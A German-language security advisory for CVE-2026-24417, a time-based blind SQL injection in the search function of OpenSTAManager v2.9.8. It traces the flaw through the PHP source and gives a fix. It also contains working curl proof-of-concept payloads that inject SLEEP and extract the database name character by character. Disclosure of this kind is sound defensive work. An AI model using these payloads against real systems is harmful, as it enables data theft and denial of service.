
CVE-2026-24417 - OpenSTAManager weist eine zeitbasierte Blind-SQL-Injection mit verstärktem Denial-of-Service auf.
| Feld | Details |
|---|
| CVE-ID | CVE-2026-24417 |
| Schweregrad | HOCH |
| Sicherheitshinweis | Sicherheitshinweis ansehen |
| Entdeckt von | Lukasz Rybak |
Eine kritische, zeitbasierte Blind-SQL-Injection-Schwachstelle, die mehrere Suchmodule in OpenSTAManager v2.9.8 betrifft, ermöglicht es authentifizierten Angreifern, vertrauliche Datenbankinhalte – darunter Passwort-Hashes, Kundendaten und Finanzunterlagen – mithilfe zeitbasierter Boolescher Inferenzangriffe mit verstärkter Ausführung über 10+ Module hinweg zu extrahieren.
Status: ✅ Bestätigt und an einer Live-Instanz getestet (v2.9.8)
Angreifbarer Parameter: term (GET)
Betroffener Endpunkt: /ajax_search.php
Betroffene Module: Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi
OpenSTAManager v2.9.8 enthält eine kritische, zeitbasierte Blind-SQL-Injection-Schwachstelle in der globalen Suchfunktion. Die Anwendung bereinigt den Parameter term nicht ordnungsgemäß, bevor er in SQL-LIKE-Klauseln mehrerer modulspezifischer Such-Handler verwendet wird. Dadurch können Angreifer beliebige SQL-Befehle einschleusen und über zeitbasierte Boolesche Inferenz vertrauliche Daten extrahieren.
Angriffskette:
Einstiegspunkt: /ajax_search.php (Zeile 30-31)
$term = get('term');
$term = str_replace('/', '\\/', $term);
Der Parameter $term wird nur minimal bereinigt (lediglich Ersetzung von Schrägstrichen).
Verteilung: /src/AJAX.php::search() (Zeile 159-161)
$files = self::find('ajax/search.php');
array_unshift($files, base_dir().'/ajax_search.php');
foreach ($files as $file) {
$module_results = self::getSearchResults($file, $term);
Der nicht bereinigte $term wird an alle modulspezifischen Such-Handler übergeben.
Ausführung: /src/AJAX.php::getSearchResults() (Zeile 373)
require $file;
Die search.php-Datei jedes Moduls wird eingebunden, wobei die Variable $term im Gültigkeitsbereich liegt.
Angreifbare SQL-Abfragen: Mehrere Module verketten $term direkt, ohne prepare() zu verwenden
Alle betroffenen Dateien (10+ angreifbare Instanzen):
/modules/articoli/ajax/search.php - Zeile 51 (PRIMÄRES BEISPIEL)
foreach ($fields as $name => $value) {
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
}
$rs = $dbo->fetchArray($query);
Auswirkung: Direkte Verkettung ohne prepare() ermöglicht vollständige SQL-Injection.
/modules/ordini/ajax/search.php - Zeilen 43, 47
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
$query .= '... WHERE `mg_articoli`.`codice` LIKE "%'.$term.'%" OR `mg_articoli_lang`.`title` LIKE "%'.$term.'%"';
/modules/ddt/ajax/search.php - Zeilen 43, 47
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/fatture/ajax/search.php - Zeilen 45, 49
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/preventivi/ajax/search.php - Zeilen 45, 49
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/anagrafiche/ajax/search.php - Zeilen 62, 107, 162
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/impianti/ajax/search.php - Zeile 46
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
Korrekt bereinigt (NICHT angreifbar):
/modules/contratti/ajax/search.php - Verwendet prepare() korrekt/modules/automezzi/ajax/search.php - Verwendet prepare() korrektHinweis: Die Schwachstelle weist eine verstärkte Ausführung auf – eine einzelne schädliche Anfrage löst SQL-Injection in ALLEN angreifbaren Modulen gleichzeitig aus. Dadurch werden zeitbasierte Angriffe pro Anfrage 10+ Mal ausgeführt, was die Verzögerung vervielfacht und – wie auf der Live-Demo-Instanz beobachtet – zu 504 Gateway Time-out-Fehlern führt.

Schritt 1: Anmeldung
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Schritt 2: Schwachstelle verifizieren (zeitbasiertes SLEEP)
# Test with SLEEP(1) - should take ~85+ seconds due to amplified execution
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'
# Result: real 72.29s
# Test with SLEEP(0) - should be fast
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'
# Result: real 0.30s

Schritt 3: Datenextraktion - Datenbankname
# Extract first character of database name (expected: 'o' from 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# Result: real 170.32s
# Test with wrong character 'x' - should be fast
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# Result: real 0m0.30s

Betroffene Benutzer: Alle authentifizierten Benutzer mit Zugriff auf die globale Suchfunktion.
Empfohlene Korrektur:
Ersetzen Sie alle Vorkommen der direkten $term-Verkettung durch prepare():
VORHER (Angreifbar):
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
NACHHER (Behoben):
$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');
Wenden Sie diese Korrektur auf ALLE betroffenen Dateien an:
/modules/articoli/ajax/search.php - Zeile 51/modules/ordini/ajax/search.php - Zeilen 43, 47, 79/modules/ddt/ajax/search.php - Zeilen 43, 47, 83/modules/fatture/ajax/search.php - Zeilen 45, 49, 85/modules/preventivi/ajax/search.php - Zeilen 45, 49, 83/modules/anagrafiche/ajax/search.php - Zeilen 62, 107, 162/modules/impianti/ajax/search.php - Zeile 46Die Offenlegung dieser CVE erfolgte verantwortungsvoll und im Einklang mit den Praktiken der koordinierten Offenlegung von Schwachstellen. Die hier bereitgestellten Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken.